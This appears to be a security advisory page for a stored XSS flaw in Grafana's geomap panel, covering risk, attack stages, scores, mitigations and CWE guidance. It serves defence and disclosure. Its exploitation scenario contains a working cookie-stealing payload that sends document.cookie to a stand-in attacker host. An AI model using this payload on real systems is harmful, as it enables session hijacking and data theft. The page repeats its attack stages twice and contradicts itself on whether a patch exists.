CVE-2026-9029: Grafana OSS stored XSS

CISO Take

Grafana's geomap panel contains a sanitize-then-interpolate ordering flaw where the HTML sanitizer runs on the raw template string before variable substitution occurs, meaning an attacker-controlled variable value is injected into element.innerHTML without escaping. Any user holding Editor-level access — a low privilege threshold — can plant a persistent XSS payload in a textbox variable's default value that fires automatically for every dashboard viewer, no interaction beyond page load required. This is an explicit bypass of the CVE-2023-0507 patch, indicating Grafana's XSS defense layer has a structural gap rather than a one-off miss. Organizations running Grafana as their MLOps observability or AI model monitoring layer are directly exposed: a compromised Editor account can silently exfiltrate session tokens, scrape displayed model metrics, or pivot laterally into internal tooling. Patch to the vendor-fixed release immediately; if patching is delayed, restrict Editor role assignments and audit dashboard template variables for unexpected HTML or script content.

Sources: NVD grafana.com ATLAS

What is the risk?

High risk for organizations using Grafana in ML/AI monitoring stacks. CVSS 7.3 reflects network-reachable, low-complexity exploitation requiring only Editor-level credentials and a single victim page load. The fix-bypass nature elevates this beyond a typical stored XSS — teams that previously patched CVE-2023-0507 and considered themselves remediated are still vulnerable. No public exploit or CISA KEV listing currently, but the attack primitive (craft variable value, wait for viewers) is trivial to operationalize. Blast radius scales with dashboard sharing practices: shared ML monitoring dashboards in larger organizations could expose dozens to hundreds of security and engineering staff.

How does the attack unfold?

Privilege Abuse

Adversary with Editor-level Grafana credentials (obtained via phishing, credential stuffing, or insider access) modifies a textbox template variable's default value to a crafted XSS payload in a widely-shared ML monitoring dashboard.

AML.T0012

Sanitizer Bypass

Grafana's sanitizeTextPanelContent() processes the raw template string before getTemplateSrv().replace() substitutes the variable value, so the injected payload bypasses sanitization and is embedded unescaped in the geomap panel's HTML output.

AML.T0049

Victim Execution

Any user who opens the dashboard triggers the XSS — the payload executes in their browser via element.innerHTML without any additional interaction beyond the page load.

AML.T0011

Data Exfiltration & Pivot

The JavaScript payload exfiltrates session cookies and visible ML monitoring data to attacker infrastructure, and may pivot to internal AI serving endpoints or model management APIs accessible from the victim's authenticated session.

AML.T0025

Privilege Abuse

Adversary with Editor-level Grafana credentials (obtained via phishing, credential stuffing, or insider access) modifies a textbox template variable's default value to a crafted XSS payload in a widely-shared ML monitoring dashboard.

AML.T0012

Sanitizer Bypass

Grafana's sanitizeTextPanelContent() processes the raw template string before getTemplateSrv().replace() substitutes the variable value, so the injected payload bypasses sanitization and is embedded unescaped in the geomap panel's HTML output.

AML.T0049

Victim Execution

Any user who opens the dashboard triggers the XSS — the payload executes in their browser via element.innerHTML without any additional interaction beyond the page load.

AML.T0011

Data Exfiltration & Pivot

The JavaScript payload exfiltrates session cookies and visible ML monitoring data to attacker infrastructure, and may pivot to internal AI serving endpoints or model management APIs accessible from the victim's authenticated session.

AML.T0025

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Grafana OSS	—	—	No patch

Do you use Grafana OSS? You're affected.

How severe is it?

CVSS 3.1

7.3 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 16% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What is the attack surface?

AV Network

AC Low

PR Low

UI Required

S Unchanged

C High

I High

A None

What should I do?

6 steps

Patch: Apply the vendor-supplied fix referenced in the security advisory at grafana.com/security/security-advisories/cve-2026-9029 — upgrade to the patched Grafana OSS release immediately.
Interim workaround: Disable the geomap panel plugin across affected Grafana instances if patching cannot be done immediately.
Privilege audit: Review Editor role assignments and remove any accounts that do not require dashboard editing capabilities — this directly reduces the attacker surface.
Dashboard audit: Inspect all dashboard template variable default values for suspicious HTML, script tags, or JavaScript URIs; use Grafana's dashboard API to enumerate variables at scale.
Detection: Review Grafana audit logs for unexpected variable modifications by Editor-level accounts; alert on base64-encoded strings or script keywords appearing in dashboard configuration.
Defense-in-depth: Enforce a strict Content Security Policy on the Grafana origin to limit JavaScript execution scope even if XSS fires.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Data Leakage Auth Bypass Framework API AML.T0011 - User Execution AML.T0025 - Exfiltration via Cyber Means AML.T0048.003 - User Harm AML.T0049 - Exploit Public-Facing Application

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Art. 9 - Risk management system

ISO 42001

A.9.4 - Access control to AI system components

NIST AI RMF

GOVERN 6.1 - Policies and procedures for AI risk management

OWASP LLM Top 10

LLM09:2025 - Misinformation

Frequently Asked Questions

What is CVE-2026-9029?

Grafana's geomap panel contains a sanitize-then-interpolate ordering flaw where the HTML sanitizer runs on the raw template string before variable substitution occurs, meaning an attacker-controlled variable value is injected into element.innerHTML without escaping. Any user holding Editor-level access — a low privilege threshold — can plant a persistent XSS payload in a textbox variable's default value that fires automatically for every dashboard viewer, no interaction beyond page load required. This is an explicit bypass of the CVE-2023-0507 patch, indicating Grafana's XSS defense layer has a structural gap rather than a one-off miss. Organizations running Grafana as their MLOps observability or AI model monitoring layer are directly exposed: a compromised Editor account can silently exfiltrate session tokens, scrape displayed model metrics, or pivot laterally into internal tooling. Patch to the vendor-fixed release immediately; if patching is delayed, restrict Editor role assignments and audit dashboard template variables for unexpected HTML or script content.

Is CVE-2026-9029 actively exploited?

No confirmed active exploitation of CVE-2026-9029 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-9029?

1. Patch: Apply the vendor-supplied fix referenced in the security advisory at grafana.com/security/security-advisories/cve-2026-9029 — upgrade to the patched Grafana OSS release immediately. 2. Interim workaround: Disable the geomap panel plugin across affected Grafana instances if patching cannot be done immediately. 3. Privilege audit: Review Editor role assignments and remove any accounts that do not require dashboard editing capabilities — this directly reduces the attacker surface. 4. Dashboard audit: Inspect all dashboard template variable default values for suspicious HTML, script tags, or JavaScript URIs; use Grafana's dashboard API to enumerate variables at scale. 5. Detection: Review Grafana audit logs for unexpected variable modifications by Editor-level accounts; alert on base64-encoded strings or script keywords appearing in dashboard configuration. 6. Defense-in-depth: Enforce a strict Content Security Policy on the Grafana origin to limit JavaScript execution scope even if XSS fires.

What systems are affected by CVE-2026-9029?

This vulnerability affects the following AI/ML architecture patterns: ML monitoring and observability platforms, MLOps dashboards, AI model serving monitoring, Data pipeline observability stacks, GPU and training infrastructure dashboards.

What is the CVSS score for CVE-2026-9029?

CVE-2026-9029 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.25%.

What is the AI security impact?

Affected AI Architectures

ML monitoring and observability platformsMLOps dashboardsAI model serving monitoringData pipeline observability stacksGPU and training infrastructure dashboards

MITRE ATLAS Techniques

AML.T0011 User Execution

AML.T0025 Exfiltration via Cyber Means

AML.T0048.003 User Harm

AML.T0049 Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Art. 9

ISO 42001: A.9.4

NIST AI RMF: GOVERN 6.1

OWASP LLM Top 10: LLM09:2025

What are the technical details?

Original Advisory

The geomap panel's XYZ tile layer has a sanitize-then-interpolate ordering bug. sanitizeTextPanelContent() runs on the raw template string before getTemplateSrv().replace() substitutes the variable value, which uses the glob format with no HTML escaping. The result is passed to OpenLayers via element.innerHTML. An Editor can set a textbox variable's default value to an XSS payload that executes for every user who opens the dashboard. This is a bypass of the CVE-2023-0507 fix

Exploitation Scenario

An adversary with a compromised or insider Editor account on a Grafana instance used for AI model monitoring opens the geomap panel configuration and sets a textbox template variable's default value to a JavaScript payload such as `<img src=x onerror=fetch('https://attacker.io/?t='+document.cookie)>`. Because the sanitizer processes the raw template string before variable interpolation, the payload passes sanitization clean and is injected verbatim into the OpenLayers HTML. Every ML engineer, data scientist, or CISO who opens the monitoring dashboard automatically exfiltrates their Grafana session cookie to the attacker. The attacker replays the session cookie to access Grafana as those users, views sensitive ML pipeline metrics and model serving endpoint configurations, and may discover internal URLs to pivot deeper into the AI infrastructure.

Weaknesses (CWE)

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

[Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
[Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.